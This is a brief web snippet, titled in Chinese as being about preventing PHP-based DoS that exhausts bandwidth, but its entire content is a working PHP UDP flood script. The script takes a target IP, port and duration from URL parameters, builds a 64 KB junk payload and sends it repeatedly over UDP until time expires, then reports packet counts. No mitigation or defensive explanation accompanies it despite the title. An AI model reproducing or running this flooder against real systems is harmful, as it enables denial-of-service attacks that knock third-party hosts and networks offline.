PHP代码DOS 防止用户利用PHP代码DOS造成用光网络带宽

$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>